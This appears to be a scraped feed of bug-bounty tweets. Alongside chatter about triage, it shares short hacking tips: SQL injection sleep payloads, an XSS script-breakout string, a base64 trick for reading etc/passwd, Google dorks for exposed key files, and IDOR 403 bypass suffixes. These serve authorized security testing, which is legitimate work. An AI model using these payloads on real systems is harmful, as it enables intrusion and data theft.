MEXC_Filipino

World Number 1 Brand

[MEXC_Filipino @MEXC_Filipino]

@BlackRock_news I face same way for their. damn😂😂

[blackrock_news @BlackRock_news]

I don't know, what is work their support and CEO/owner don't know this topic. without real searcher f**king triager's giving duplicte, then same report we reported and it accept. lol😆😆

That's why intigriti loss their reputation day by day

[HackingHub @hackinghub_io]

Linux For Hackers Fundamentals with @_JohnHammond! 🚀

Linux is the backbone of hacking. In this hands-on course, you’ll master the command line with skills tailored for hackers.

If you're looking to up your Linux game, this course is for you!

Sign up 👉 https://t.co/AY6l4r8cIa

[VIEH Group @viehgroup]

Subdomain Takeover Detection with Subfinder & Nuclei

Using wordpress takeover detection for nuclei template

subfinder -d target -o target && nuclei -t wp-xyz-takeover[.]yaml -l target

- https://t.co/3aP3Amz8q1

#infosec #cybersec #bugbountytips #bugbounty

[khan mamun @mamunwhh]

Look like :

First name: jemni
Last email: khcill
Email: victim@gmail. com

[Intigriti @intigriti]

We just dove into our shelf of archived bug bounty write-ups from the most notable hackers! 🤠

In this issue, we selected 5 compelling articles (that are still relevant today) to share with you, from which you can learn something new! 😎

🧵 👇

[khan mamun @mamunwhh]

SQL Injection On **sitemap.xml** endpoint 😎 #bugbountytips #bugbountytip

target[.]com/sitemap.xml?offset=1;SELECT IF((8303>8302),SLEEP(9),2356)#

sleep payload [1;SELECT IF((8303>8302),SLEEP(9),2356)#] = 9s

Happy Hunting and Thanks Godfather Orwa

[VAIDIK PANDYA @h4x0r_fr34k]

Credential leaks!
here are few blogs to learn about them!

1. https://t.co/CnD9TUmGDX

2. https://t.co/Dk0Re4Qp29

3. https://t.co/n34jqvri7g

4. https://t.co/UqxQD8C4eG

5. https://t.co/3z7QMN1yzx

6. https://t.co/MDXAYdrjfQ

7. https://t.co/SkMsPCySZC

8. https://t.co/DFxEw2kIf8

Let's Connect Over other platforms : https://t.co/WOe92cu3pi

[khan mamun @mamunwhh]

Blind SQL Injection

Tips:
1. Gather all urls from gau/waybackurls and Google Dorking.
2. Inject SQLi payload in all parameters one by one.
3. Analyze the response.

Payload used:
0'XOR(if(now()=sysdate(),sleep(10),0)) XOR'Z

#bugbountips

[khan mamun @mamunwhh]

Google dork for #BugBounty
intitle:welcome to firebase hosting inurl:firebaseapp
inurl:https://t.co/HmNqn56Yll intitle:"index of"
inurl:https://t.co/HmNqn56Yll intitle:"index of /" "*key.pem"
inurl:https://t.co/HmNqn56Yll ext:log
inurl:https://t.co/HmNqn56Yll intitle:"index of"

[khan mamun @mamunwhh]

Nice endpoint "type:"

');});//]]></script><script>prompt();</script></body></html><!--

[MEXC_Filipino @MEXC_Filipino]

thanks @mamunwhh

[khan mamun @mamunwhh]

Why we didn't use!!

url/?f=etc/passwd ==> 403
encode etc/passwd as base64

url/?f=L2V0Yy9wYXNzd2Q= ==> 200

#note
you can use this trick in SQL , SSTI , XSS , LFI , Etc...

Thanks Orwa #bugbountytips

[khan mamun @mamunwhh]

Hello hackers, I just published my 3rd write up.
#bugbountytips #bugbountytip #bugbounty https://t.co/5EcX3QLson

[Rohit Kumar @0xloooser]

Find more IDORS.

Don't just change user id.
/account/1234 --> 403

Bypass by appending like
%20, %09, %0b, %0c, %1c, %1d, %1e, /